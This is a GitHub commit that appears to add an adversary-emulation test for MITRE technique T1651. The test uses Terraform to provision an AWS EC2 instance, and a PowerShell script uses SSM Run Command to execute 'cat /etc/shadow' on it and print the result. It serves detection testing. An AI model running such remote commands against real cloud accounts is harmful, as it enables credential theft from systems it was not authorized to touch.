-
Notifications
You must be signed in to change notification settings - Fork 2.8k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Co-authored-by: Carrie Roberts <[email protected]> Co-authored-by: Bhavin Patel <[email protected]>
- Loading branch information
1 parent
16d1709
commit fd82e0a
Showing
8 changed files
with
322 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,57 @@ | ||
attack_technique: T1651 | ||
display_name: Cloud Administration Command | ||
atomic_tests: | ||
- name: AWS Run Command (and Control) | ||
description: | | ||
This test simulates an adversary using the AWS Run Command service to execute commands on EC2 instances. | ||
supported_platforms: | ||
- iaas:aws | ||
input_arguments: | ||
access_key: | ||
description: AWS Access Key | ||
type: string | ||
default: "" | ||
secret_key: | ||
description: AWS Secret Key | ||
type: string | ||
default: "" | ||
session_token: | ||
description: AWS Session Token | ||
type: string | ||
default: "" | ||
profile: | ||
description: AWS profile | ||
type: string | ||
default: "" | ||
region: | ||
description: AWS region to deploy the EC2 instance | ||
type: string | ||
default: us-east-2 | ||
dependency_executor_name: powershell | ||
dependencies: | ||
- description: | | ||
The AWS PowerShell module must be installed. | ||
prereq_command: | | ||
try {if (Get-InstalledModule -Name AWSPowerShell -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1} | ||
get_prereq_command: | | ||
Install-Module -Name AWSPowerShell -Force | ||
- description: | | ||
Terraform must be installed. | ||
prereq_command: | | ||
terraform --version | ||
get_prereq_command: | | ||
Write-Host "Terraform is required. Download it from https://www.terraform.io/downloads.html" | ||
executor: | ||
command: | | ||
Import-Module "PathToAtomicsFolder/T1651/src/T1651-1/AWSSSMAttack.ps1" -Force | ||
$access_key = "#{access_key}" | ||
$secret_key = "#{secret_key}" | ||
$session_token = "#{session_token}" | ||
$aws_profile = "#{profile}" | ||
$region = "#{region}" | ||
Set-AWSAuthentication -AccessKey $access_key -SecretKey $secret_key -SessionToken $session_token -AWSProfile $aws_profile -AWSRegion $region | ||
Invoke-Terraform -TerraformCommand init -TerraformDirectory "PathToAtomicsFolder/T1651/src/T1651-1" | ||
Invoke-Terraform -TerraformCommand apply -TerraformDirectory "PathToAtomicsFolder/T1651/src/T1651-1" -TerraformVariables @("profile=T1651-1", "region=$region") | ||
Invoke-SSMAttack -AWSProfile "T1651-1" -TerraformDirectory "PathToAtomicsFolder/T1651/src/T1651-1" | ||
Invoke-Terraform -TerraformCommand destroy -TerraformDirectory "PathToAtomicsFolder/T1651/src/T1651-1" -TerraformVariables @("profile=T1651-1", "region=$region") | ||
name: powershell |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,126 @@ | ||
Import-Module AWSPowerShell | ||
|
||
function Set-AWSAuthentication { | ||
param ( | ||
[string]$AccessKey, | ||
[string]$SecretKey, | ||
[string]$SessionToken, | ||
[string]$AWSProfile, | ||
[string]$AWSRegion | ||
) | ||
if ($SessionToken -eq "" -and $AWSProfile -eq "") { | ||
Set-AWSCredential -AccessKey $AccessKey -SecretKey $SecretKey -StoreAs "T1651-1" | ||
} | ||
elseif ($SessionToken -ne "" -and $AWSProfile -ne "") { | ||
Set-AWSCredential -AccessKey $AccessKey -SecretKey $SecretKey -SessionToken $SessionToken -StoreAs "T1651-1" | ||
} | ||
elseif ($AWSProfile -ne "") { | ||
Set-AWSCredential -ProfileName $AWSProfile -StoreAs "T1651-1" | ||
} | ||
|
||
try { | ||
Get-STSCallerIdentity -ProfileName "T1651-1" | Out-Null | ||
} | ||
catch { | ||
Write-Host "ERROR: Failed to authenticate to AWS. Please check your credentials and try again." | ||
exit 1 | ||
} | ||
Set-DefaultAWSRegion -Region $AWSRegion | ||
} | ||
|
||
function Invoke-Terraform { | ||
param ( | ||
[string]$TerraformCommand, | ||
[string]$TerraformDirectory, | ||
[string[]]$TerraformVariables | ||
) | ||
|
||
$currentPath = Resolve-Path . | ||
|
||
if (-not (Test-Path $TerraformDirectory)) { | ||
Write-Host "ERROR: Terraform directory not found. Please check the path and try again." | ||
exit 1 | ||
} | ||
|
||
if (-not (Get-ChildItem $TerraformDirectory -Filter "*.tf")) { | ||
Write-Host "ERROR: No Terraform files found in the directory. Please check the path and try again." | ||
exit 1 | ||
} | ||
|
||
foreach($variable in $TerraformVariables) { | ||
$varName = $variable.Split("=")[0] | ||
$varValue = $variable.Split("=")[1] | ||
[Environment]::SetEnvironmentVariable("TF_VAR_$varName", $varValue, "Process") | ||
} | ||
|
||
Set-Location $TerraformDirectory | ||
|
||
if ($TerraformCommand -eq "init") { | ||
try { | ||
terraform init | Out-Null | ||
} | ||
catch { | ||
Write-Host "ERROR: Failed to initialize Terraform. Please check the error message and try again." | ||
exit 1 | ||
} | ||
} elseif ($TerraformCommand -eq "apply") { | ||
try { | ||
terraform apply -auto-approve | Out-Null | ||
} | ||
catch { | ||
Write-Host "ERROR: Failed to apply Terraform. Please check the error message and try again." | ||
exit 1 | ||
} | ||
} elseif ($TerraformCommand -eq "destroy") { | ||
try { | ||
terraform destroy -auto-approve | Out-Null | ||
} | ||
catch { | ||
Write-Host "ERROR: Failed to destroy Terraform. Please check the error message and try again." | ||
exit 1 | ||
} | ||
} else { | ||
Write-Host "ERROR: Invalid Terraform command. Please use 'init', 'apply', or 'destroy'." | ||
exit 1 | ||
} | ||
|
||
Set-Location $currentPath | ||
} | ||
|
||
function Invoke-SSMAttack { | ||
param ( | ||
[string]$AWSProfile, | ||
[string]$TerraformDirectory | ||
) | ||
$currentPath = Resolve-Path . | ||
Set-Location $TerraformDirectory | ||
$instanceId = (terraform output -json | ConvertFrom-Json | Select-Object -ExpandProperty aws_ec2_instance_id).value | ||
Set-Location $currentPath | ||
foreach($i in 1..50) { | ||
$instanceStatus = (Get-SSMInstanceAssociationsStatus -InstanceId $instanceId -ProfileName $AWSProfile).Status | ||
if ($instanceStatus -eq "Success") { | ||
break | ||
} | ||
Start-Sleep -Seconds 6 | ||
} | ||
$commandId = (Send-SSMCommand -DocumentName "AWS-RunShellScript" -Target @{Key="tag:AtomicTest";Values=@("T1651-1")} -Comment "Atomic Test T1651-1" -Parameters @{commands = @("cat /etc/shadow")}).CommandId | ||
foreach ($i in 1..50) { | ||
$commandStatus = (Get-SSMCommandInvocation -CommandId $commandId -ProfileName $AWSProfile).Status | ||
if ($commandStatus -eq "Success") { | ||
$instanceId = (Get-SSMCommandInvocation -CommandId $commandId)[0].InstanceId | ||
$output = (Get-SSMCommandInvocationDetail -CommandId $commandId -InstanceId $instanceId).StandardOutputContent | ||
break | ||
} | ||
elseif ($commandStatus -eq "Failed") { | ||
Write-Host "ERROR: Failed to execute the SSM command. Please check the error message and try again." | ||
exit 1 | ||
} | ||
Start-Sleep -Seconds 6 | ||
} | ||
if ($output -eq "") { | ||
Write-Host "ERROR: No output received from the SSM command. Please check the error message and try again." | ||
exit 1 | ||
} | ||
Write-Host "SSM Command Output:" | ||
Write-Host $output | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,30 @@ | ||
data "aws_ami" "ami" { | ||
most_recent = true | ||
|
||
filter { | ||
name = "name" | ||
values = ["ubuntu/images/hvm-ssd/ubuntu-jammy-22.04-amd64-server-*"] | ||
} | ||
|
||
filter { | ||
name = "virtualization-type" | ||
values = ["hvm"] | ||
} | ||
|
||
owners = ["099720109477"] | ||
} | ||
|
||
resource "aws_instance" "instance" { | ||
ami = data.aws_ami.ami.id | ||
instance_type = var.instance_type | ||
subnet_id = aws_subnet.subnet.id | ||
iam_instance_profile = aws_iam_instance_profile.profile.name | ||
vpc_security_group_ids = [aws_security_group.sg.id] | ||
user_data = <<EOF | ||
systemctl enable amazon-ssm-agent | ||
systemctl start amazon-ssm-agent | ||
EOF | ||
tags = { | ||
Name = "T1651-1" | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,23 @@ | ||
terraform { | ||
required_providers { | ||
aws = { | ||
source = "hashicorp/aws" | ||
version = "= 5.82.2" | ||
} | ||
} | ||
} | ||
|
||
provider "aws" { | ||
profile = var.profile | ||
region = var.region | ||
|
||
default_tags { | ||
tags = { | ||
AtomicTest = "T1651-1" | ||
} | ||
} | ||
} | ||
|
||
locals { | ||
cloud = length(regexall("-gov-", var.region)) > 0 ? "aws-us-gov" : length(regexall("-cn-", var.region)) > 0 ? "aws-cn" : "aws" | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,38 @@ | ||
resource "aws_vpc" "vpc" { | ||
cidr_block = "10.0.0.0/16" | ||
} | ||
|
||
resource "aws_subnet" "subnet" { | ||
vpc_id = aws_vpc.vpc.id | ||
cidr_block = "10.0.0.0/24" | ||
map_public_ip_on_launch = true | ||
} | ||
|
||
resource "aws_internet_gateway" "igw" { | ||
vpc_id = aws_vpc.vpc.id | ||
} | ||
|
||
resource "aws_route_table" "rt" { | ||
vpc_id = aws_vpc.vpc.id | ||
|
||
route { | ||
cidr_block = "0.0.0.0/0" | ||
gateway_id = aws_internet_gateway.igw.id | ||
} | ||
} | ||
|
||
resource "aws_route_table_association" "rta" { | ||
subnet_id = aws_subnet.subnet.id | ||
route_table_id = aws_route_table.rt.id | ||
} | ||
|
||
resource "aws_security_group" "sg" { | ||
vpc_id = aws_vpc.vpc.id | ||
|
||
egress { | ||
from_port = 0 | ||
to_port = 0 | ||
protocol = "-1" | ||
cidr_blocks = ["0.0.0.0/0"] | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,3 @@ | ||
output "aws_ec2_instance_id" { | ||
value = aws_instance.instance.id | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,31 @@ | ||
data "aws_iam_policy" "ssm" { | ||
arn = "arn:${local.cloud}:iam::aws:policy/AmazonSSMManagedInstanceCore" | ||
} | ||
|
||
resource "aws_iam_role" "role" { | ||
name = "T1651-1-Role" | ||
assume_role_policy = jsonencode( | ||
{ | ||
Version = "2012-10-17" | ||
Statement = [ | ||
{ | ||
Effect = "Allow" | ||
Principal = { | ||
Service = "ec2.amazonaws.com" | ||
} | ||
Action = "sts:AssumeRole" | ||
} | ||
] | ||
} | ||
) | ||
} | ||
|
||
resource "aws_iam_role_policy_attachment" "attachment" { | ||
role = aws_iam_role.role.name | ||
policy_arn = data.aws_iam_policy.ssm.arn | ||
} | ||
|
||
resource "aws_iam_instance_profile" "profile" { | ||
name = "T1651-1-Profile" | ||
role = aws_iam_role.role.name | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,14 @@ | ||
variable "profile" { | ||
description = "The AWS profile to use" | ||
default = "default" | ||
} | ||
|
||
variable "region" { | ||
description = "The AWS region to deploy to" | ||
default = "us-east-2" | ||
} | ||
|
||
variable "instance_type" { | ||
description = "The instance type to use for the EC2 instance" | ||
default = "t2.micro" | ||
} |